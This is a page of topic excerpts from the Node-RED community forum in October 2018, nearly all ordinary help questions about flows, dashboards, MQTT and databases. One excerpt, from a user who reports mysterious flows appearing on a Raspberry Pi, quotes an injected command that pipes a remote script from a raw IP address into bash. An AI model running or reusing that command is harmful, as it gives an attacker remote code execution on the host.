# Latest

**URL:** https://discourse.nodered.org/latest.md?page=1357

[Latest](https://discourse.nodered.org/latest.md) · [Categories](https://discourse.nodered.org/categories.md) · [Tags](https://discourse.nodered.org/tags.md)

**Page:** 1358

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## [Node does not appear in palette](https://discourse.nodered.org/t/node-does-not-appear-in-palette/3795)

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**Author:** [@oliverlorenz](https://discourse.nodered.org/u/oliverlorenz)\
**Replies:** 4\
**Last updated:** [8 October 2018 22:59 UTC](https://discourse.nodered.org/t/node-does-not-appear-in-palette/3795 "2018-10-08T22:59:12Z")

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Hey! My new node https://www.npmjs.com/package/node-red-contrib-chromecast-session doesn't appear in the palette and I'm not able to find my mistake. Can somebody give me a hint? What I already checked: Can be found …

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## [Format value for Mqtt](https://discourse.nodered.org/t/format-value-for-mqtt/3759)

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**Author:** [@MupeTTz](https://discourse.nodered.org/u/MupeTTz)\
**Replies:** 12\
**Last updated:** [8 October 2018 16:45 UTC](https://discourse.nodered.org/t/format-value-for-mqtt/3759 "2018-10-08T16:45:53Z")

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Hi there, I'm new here as you can see :slight\_smile: I need a little help with my project I'm getting this: {"payload":\[15,32,1,1,0,9,8,183,87,91,2,183,87,255,1,195,130\],"port":"/dev/ttyUSB0","\_msgid":"efd1e1ef.29c8e","…

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## [Start Node-RED with stopped flows](https://discourse.nodered.org/t/start-node-red-with-stopped-flows/3787)

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**Author:** [@gfcittolin](https://discourse.nodered.org/u/gfcittolin)\
**Replies:** 5\
**Last updated:** [8 October 2018 15:54 UTC](https://discourse.nodered.org/t/start-node-red-with-stopped-flows/3787 "2018-10-08T15:54:19Z")

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Hi everyone, I'd like to know what you'd think about having a way to start Node-RED without actually running the flows. This would be interesting in cases like: you have messed up with the flow and wants to fix you ha…

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## [Error: ER\_PARSE\_ERROR](https://discourse.nodered.org/t/error-er-parse-error/3771)

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**Author:** [@tramanah](https://discourse.nodered.org/u/tramanah)\
**Replies:** 3\
**Last updated:** [8 October 2018 08:22 UTC](https://discourse.nodered.org/t/error-er-parse-error/3771 "2018-10-08T08:22:10Z")

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Good day, Below is json data coming from MQTT. I am trying to insert in mariadb. "{"DeviceId":4,"Line":1,"outPin":"GPIO 7","count":50,"Time":"2018-10-08 12:04:48"}" I did create function block with the following script…

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## [Set Flow without using Function node](https://discourse.nodered.org/t/set-flow-without-using-function-node/3770)

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**Author:** [@whatsupskip](https://discourse.nodered.org/u/whatsupskip)\
**Replies:** 2\
**Last updated:** [8 October 2018 03:18 UTC](https://discourse.nodered.org/t/set-flow-without-using-function-node/3770 "2018-10-08T03:18:56Z")

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If I understand correctly, the use of the Function Node should be avoided as it uses many resources. What is the correct way to Set a Flow without using a Function Node? I thought it could be done by using a Change Nod…

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## [Pythonshell use in Node-red](https://discourse.nodered.org/t/pythonshell-use-in-node-red/3326)

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**Author:** [@Chris](https://discourse.nodered.org/u/Chris)\
**Replies:** 13\
**Last updated:** [8 October 2018 01:50 UTC](https://discourse.nodered.org/t/pythonshell-use-in-node-red/3326 "2018-10-08T01:50:16Z")

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Dears, I have installed pythonshell and want to exec BACpypres script. For example "\>python /home/pi/bacpypes/samples/RandomAnalogValueSleep.py --ini BACpypes,ini". However, I don't know how to do it correctly. Could y…

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## [Sliders and incoming messages](https://discourse.nodered.org/t/sliders-and-incoming-messages/3768)

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**Author:** [@Anniepoo](https://discourse.nodered.org/u/Anniepoo)\
**Replies:** 0\
**Last updated:** [7 October 2018 22:19 UTC](https://discourse.nodered.org/t/sliders-and-incoming-messages/3768 "2018-10-07T22:19:32Z")

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I have a set of sliders that control some servos remotely. The servo values all get bundled into one http request, so I have a node that hangs onto the state. I'm seeing strange behavior - sending a message with any top…

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## [Playing with Prolog video about node-red](https://discourse.nodered.org/t/playing-with-prolog-video-about-node-red/3767)

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**Author:** [@Anniepoo](https://discourse.nodered.org/u/Anniepoo)\
**Replies:** 0\
**Last updated:** [7 October 2018 22:10 UTC](https://discourse.nodered.org/t/playing-with-prolog-video-about-node-red/3767 "2018-10-07T22:10:22Z")

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I help run the Playing with Prolog channel on youtube. Primarily we do Prolog topics, but also do other non-functional/imperative languages from time to time. Our latest video is on node-red. https://www.youtube.com/wa…

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## [Raspbian, node-red-email and v0.19.4 update fails?](https://discourse.nodered.org/t/raspbian-node-red-email-and-v0-19-4-update-fails/3739)

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**Author:** [@wb666greene](https://discourse.nodered.org/u/wb666greene)\
**Replies:** 4\
**Last updated:** [7 October 2018 16:20 UTC](https://discourse.nodered.org/t/raspbian-node-red-email-and-v0-19-4-update-fails/3739 "2018-10-07T16:20:31Z")

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I've just setup a new Pi3B+ with latest Raspbian + all updates and installed the Movidius sdk V2. Before I clone the card, I installed node-red from the "Software Center" and then ran the upgrade script. Manage Pallet …

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## [On microphone node](https://discourse.nodered.org/t/on-microphone-node/3757)

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**Author:** [@mshaz](https://discourse.nodered.org/u/mshaz)\
**Replies:** 1\
**Last updated:** [7 October 2018 14:38 UTC](https://discourse.nodered.org/t/on-microphone-node/3757 "2018-10-07T14:38:25Z")

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Hi How do i switch on the microphone node on boot. I am making a robot that can translate and i don't want to use the nodered interface to on the mic manually. ' Thank you

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## [Missing and mysterious new flows](https://discourse.nodered.org/t/missing-and-mysterious-new-flows/3421)

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**Author:** [@johntalbott](https://discourse.nodered.org/u/johntalbott)\
**Replies:** 13\
**Last updated:** [7 October 2018 11:38 UTC](https://discourse.nodered.org/t/missing-and-mysterious-new-flows/3421 "2018-10-07T11:38:07Z")

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When I just logged into my node-red server, some of my flows are missing and I see a ton of new random flows that that all look like the below. Any idea what's going on here?

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## [Access variable within dashboard html template sent from function](https://discourse.nodered.org/t/access-variable-within-dashboard-html-template-sent-from-function/3725)

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**Author:** [@ben82940198](https://discourse.nodered.org/u/ben82940198)\
**Replies:** 13\
**Last updated:** [7 October 2018 11:35 UTC](https://discourse.nodered.org/t/access-variable-within-dashboard-html-template-sent-from-function/3725 "2018-10-07T11:35:07Z")

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I'm sending html from a function to the dashboard template node. The template node only contains: \<div ng-bind-html="msg.payload.html | trusted"\>\</div\> The function node is sending (excludes special character for mult…

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## [Hue Magic - Dashboard slider for brightness ?!](https://discourse.nodered.org/t/hue-magic-dashboard-slider-for-brightness/3727)

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**Author:** [@nodecentral](https://discourse.nodered.org/u/nodecentral)\
**Replies:** 14\
**Last updated:** [7 October 2018 09:46 UTC](https://discourse.nodered.org/t/hue-magic-dashboard-slider-for-brightness/3727 "2018-10-07T09:46:22Z")

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Hi I’m struggling to make a dashboard slider work as a brightness level controller for a hue light bulb. I already have an injection node (below) with JavaScript that works to set a specific brightness level , it sends…

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## [ObjectId Mongodb](https://discourse.nodered.org/t/objectid-mongodb/3612)

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**Author:** [@number005](https://discourse.nodered.org/u/number005)\
**Replies:** 6\
**Last updated:** [6 October 2018 19:59 UTC](https://discourse.nodered.org/t/objectid-mongodb/3612 "2018-10-06T19:59:32Z")

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Hi guys, I have inserted a few datasets into my mongodb. Worked fine with my "mongodb3" Node. Now I want to query one single data object, and I have the \_id of this object. Nevertheless I am not able to get it in the r…

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## [Node namespace confusion on my part (?)](https://discourse.nodered.org/t/node-namespace-confusion-on-my-part/2144)

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**Author:** [@ncherry](https://discourse.nodered.org/u/ncherry)\
**Replies:** 10\
**Last updated:** [6 October 2018 12:22 UTC](https://discourse.nodered.org/t/node-namespace-confusion-on-my-part/2144 "2018-10-06T12:22:39Z")

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I have a working node (node-red-contrib-mytimeout) and I have a user who has 12 of these nodes in 1 tab. I'm investigating why some nodes, sometimes fails to finish counting down (see below),. I've seen this before occur…

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## [New Window with msg.payload](https://discourse.nodered.org/t/new-window-with-msg-payload/3726)

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**Author:** [@ryanjohnson00](https://discourse.nodered.org/u/ryanjohnson00)\
**Replies:** 3\
**Last updated:** [6 October 2018 09:43 UTC](https://discourse.nodered.org/t/new-window-with-msg-payload/3726 "2018-10-06T09:43:50Z")

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This seems so easy but I have not been able to figure it out. I want to open a new window showing my msg.payload. The msg.payload is XML data so formatting it would be nice. One of two ways. I have a dropdown and wh…

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## [More security considerations](https://discourse.nodered.org/t/more-security-considerations/3678)

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**Author:** [@TotallyInformation](https://discourse.nodered.org/u/TotallyInformation)\
**Replies:** 2\
**Last updated:** [6 October 2018 09:41 UTC](https://discourse.nodered.org/t/more-security-considerations/3678 "2018-10-06T09:41:09Z")

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Continuing the various threads about Node-RED security, I wanted to highlight another issue you may face. This is common to any NodeJS application. You can get security vulnerabilities via many channels of course. The o…

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## [Select array-element from a database with the "form" node](https://discourse.nodered.org/t/select-array-element-from-a-database-with-the-form-node/3610)

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**Author:** [@TimSchmidt](https://discourse.nodered.org/u/TimSchmidt)\
**Replies:** 4\
**Last updated:** [6 October 2018 08:25 UTC](https://discourse.nodered.org/t/select-array-element-from-a-database-with-the-form-node/3610 "2018-10-06T08:25:39Z")

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Hi together, I built the folowing flow: I use it to get data from a database. I have to choose the element of the array manually. In my example it is element 1. This is the corresponding code: Node "Datenabfrage\_F…

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## [Scrolling in EDIT window, strange things happening](https://discourse.nodered.org/t/scrolling-in-edit-window-strange-things-happening/3729)

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**Author:** [@Trying\_to\_learn](https://discourse.nodered.org/u/Trying_to_learn)\
**Replies:** 2\
**Last updated:** [6 October 2018 07:04 UTC](https://discourse.nodered.org/t/scrolling-in-edit-window-strange-things-happening/3729 "2018-10-06T07:04:01Z")

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Sorry folks, but this is a new one. NR 19.4. I am zoomed out a fair bit and am dragging the window around. (The view) I get this request popping up. See attached and note red rectangle around request. I can't capt…

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## [Barcode Scanner Byte Array Conversion Node](https://discourse.nodered.org/t/barcode-scanner-byte-array-conversion-node/3639)

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**Author:** [@jewendt](https://discourse.nodered.org/u/jewendt)\
**Replies:** 3\
**Last updated:** [6 October 2018 01:52 UTC](https://discourse.nodered.org/t/barcode-scanner-byte-array-conversion-node/3639 "2018-10-06T01:52:35Z")

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Has anyone created a node that would convert a byte array to a string value? I created several nodes that do the job but I was wondering if anyone has created a single node that would do it. Seems like it would be usefu…

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## [Best way to display this table?](https://discourse.nodered.org/t/best-way-to-display-this-table/3720)

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**Author:** [@seth350](https://discourse.nodered.org/u/seth350)\
**Replies:** 2\
**Last updated:** [6 October 2018 01:48 UTC](https://discourse.nodered.org/t/best-way-to-display-this-table/3720 "2018-10-06T01:48:10Z")

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More of a HTML question than a Node-Red question..I suppose? :pensive: I am receiving an object with multiple values from a Sql Server node. The object is structured as: I am able to put these values into a table us…

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## [FTP Put Error flow dont start anymore](https://discourse.nodered.org/t/ftp-put-error-flow-dont-start-anymore/3713)

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**Author:** [@b35b5dad43ea282b65d0](https://discourse.nodered.org/u/b35b5dad43ea282b65d0)\
**Replies:** 4\
**Last updated:** [5 October 2018 19:26 UTC](https://discourse.nodered.org/t/ftp-put-error-flow-dont-start-anymore/3713 "2018-10-05T19:26:37Z")

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5 Oct 14:29:31 - Error: getaddrinfo ENOTFOUND ftp://hostname:21 at errnoException (dns.js:50:10) at GetAddrInfoReqWrap.onlookup \[as oncomplete\] (dns.js:92:26) Hi, I tried to send a file via ftp to an ftp server. But…

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## [Invert does not invert msg.payload from a switch](https://discourse.nodered.org/t/invert-does-not-invert-msg-payload-from-a-switch/3715)

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**Author:** [@Matthew](https://discourse.nodered.org/u/Matthew)\
**Replies:** 13\
**Last updated:** [5 October 2018 16:34 UTC](https://discourse.nodered.org/t/invert-does-not-invert-msg-payload-from-a-switch/3715 "2018-10-05T16:34:02Z")

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If I connect a dashboard switch to a boolean invert, no inversion takes place when I activate the switch. In fact the status of the invert remains as 'unknown' and there is no output in debug. If I use a boolean inject t…

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## [Dynamic table display problem](https://discourse.nodered.org/t/dynamic-table-display-problem/3717)

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**Author:** [@bborncr](https://discourse.nodered.org/u/bborncr)\
**Replies:** 1\
**Last updated:** [5 October 2018 16:33 UTC](https://discourse.nodered.org/t/dynamic-table-display-problem/3717 "2018-10-05T16:33:34Z")

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The table in the picture below should be expanded to include all 20 rows. I took this directly from this node-red tutorial. I have tried adding height,max-height and other directives. The worst thing is that sometimes it…

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## [Running Node Red in Windows](https://discourse.nodered.org/t/running-node-red-in-windows/3697)

<div class="topic-metadata">

**Author:** [@dedynobre](https://discourse.nodered.org/u/dedynobre)\
**Replies:** 25\
**Last updated:** [5 October 2018 13:05 UTC](https://discourse.nodered.org/t/running-node-red-in-windows/3697 "2018-10-05T13:05:56Z")

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Hello guys I'm running the red node with windows and would like to know how to automatically start it. With the task manager it did not work well. I configured using NSSM and until it starts but when I changed, for ex…

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## [Node Red create Flows "automatically"](https://discourse.nodered.org/t/node-red-create-flows-automatically/3692)

<div class="topic-metadata">

**Author:** [@pcpaulo](https://discourse.nodered.org/u/pcpaulo)\
**Replies:** 4\
**Last updated:** [5 October 2018 11:05 UTC](https://discourse.nodered.org/t/node-red-create-flows-automatically/3692 "2018-10-05T11:05:34Z")

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I have node red installed on Raspberry and every day when i open the monitor there is a new flow with unknown name access a server http://192.99.142.240:8220/mr.sh | bash -sh. Any Idea the reason for that?

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## [Need help with a simple function](https://discourse.nodered.org/t/need-help-with-a-simple-function/3708)

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**Author:** [@rednode](https://discourse.nodered.org/u/rednode)\
**Replies:** 6\
**Last updated:** [5 October 2018 09:19 UTC](https://discourse.nodered.org/t/need-help-with-a-simple-function/3708 "2018-10-05T09:19:25Z")

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Hi, as a nodered /json noob i need some assistance from the crowd. i used the ping node to check if my devices are on or offline. the node sends ping results or if ping failes, a false result. now i want to rewrite th…

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## [Node-Red in Docker Backup - Flows location](https://discourse.nodered.org/t/node-red-in-docker-backup-flows-location/3681)

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**Author:** [@Gnomi](https://discourse.nodered.org/u/Gnomi)\
**Replies:** 6\
**Last updated:** [5 October 2018 08:49 UTC](https://discourse.nodered.org/t/node-red-in-docker-backup-flows-location/3681 "2018-10-05T08:49:45Z")

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Hi, perhaps I have overseen it. But my Docker is always restarting after my last Node-Red flow extensions. perhaps due to the node-red-contrib-ccu node. I did not store some flows with export but have a docker .tar expo…

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## [Longtime Charts](https://discourse.nodered.org/t/longtime-charts/3706)

<div class="topic-metadata">

**Author:** [@SirNoob](https://discourse.nodered.org/u/SirNoob)\
**Replies:** 3\
**Last updated:** [5 October 2018 08:15 UTC](https://discourse.nodered.org/t/longtime-charts/3706 "2018-10-05T08:15:31Z")

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Hello, I want to show on my dashboard some charts until 3 weeks back. But after 5 days the dashboard gets really slow. I think so because there are to much datas. After restarting the flow its much faster now but i a…

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## [== and === confusion](https://discourse.nodered.org/t/and-confusion/3642)

<div class="topic-metadata">

**Author:** [@edje11](https://discourse.nodered.org/u/edje11)\
**Replies:** 3\
**Last updated:** [5 October 2018 07:51 UTC](https://discourse.nodered.org/t/and-confusion/3642 "2018-10-05T07:51:54Z")

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if (msg.payload\[i\].Active== 0) this will test fine and everything is working as it should be. However the editor in the function node gives me a warning Use '===' to compare with '0'. So if I change that to if (msg.pay…

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